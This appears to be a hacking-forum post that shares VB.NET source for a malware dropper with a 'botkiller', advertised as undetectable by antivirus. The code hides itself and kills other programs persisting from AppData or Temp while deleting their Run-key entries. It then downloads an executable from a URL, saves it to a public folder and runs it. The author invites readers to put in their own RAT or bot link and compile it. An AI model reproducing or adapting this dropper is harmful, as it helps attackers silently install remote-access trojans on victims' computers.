.NET 16kb Botkiller + dropper Fud

Here's my source to my Botkiller and dropper bin
Change "google.com/f.exe" to your RAT/BOT link and compile enjoy
here is a scan of a bin nodistribute.com/result/pzB6qE9A0HYd8UkuOLQyJ3oTitjf
Code 
Imports System.Text

Imports Microsoft.Win32

Public Class Form1

    Public Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load

        Me.Hide()

        Try

            bk()

            Dim LeAudisubstring As String

            LeAudisubstring = "C:\Users\Public\Documents\Le.exe"

            If System.IO.File.Exists(LeAudisubstring) = True Then

                System.IO.File.Delete(LeAudisubstring)

            End If

            My.Computer.Network.DownloadFile("google.com/f.exe", "C:\Users\Public\Documents\Le.exe")

            Process.Start("C:\Users\Public\Documents\Le.exe")

        Catch ex As Exception

        End Try

        End

    End Sub

    Public Shared Sub bk()

        Try

            Dim x As Int32 = 0

            Dim r As RegistryKey

            r = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)

            For Each key As String In r.GetValueNames

                Try

                    Dim location As String = Registry.GetValue(r.ToString, key, "Error")

                    If location.Contains("\AppData\") Then

                        Try

                            For Each p As Process In Process.GetProcesses()

                                Try

                                    If p.MainModule.FileName.Contains(location) Then

                                        p.Kill()

                                        r.DeleteValue(key)

                                        x += 1

                                    End If

                                Catch ex As Exception

                                End Try

                            Next

                        Catch ex As Exception

                        End Try

                    ElseIf location.Contains("\Temp") Then

                        Try

                            For Each p As Process In Process.GetProcesses()

                                Try

                                    If p.MainModule.FileName.Contains(location) Then

                                        p.Kill()

                                        r.DeleteValue(key)

                                        x += 1

                                    End If

                                Catch ex As Exception

                                End Try

                            Next

                        Catch ex As Exception

                        End Try

                    End If

                Catch ex As Exception

                End Try

            Next

        Catch ex As Exception

        End Try

    End Sub

End Class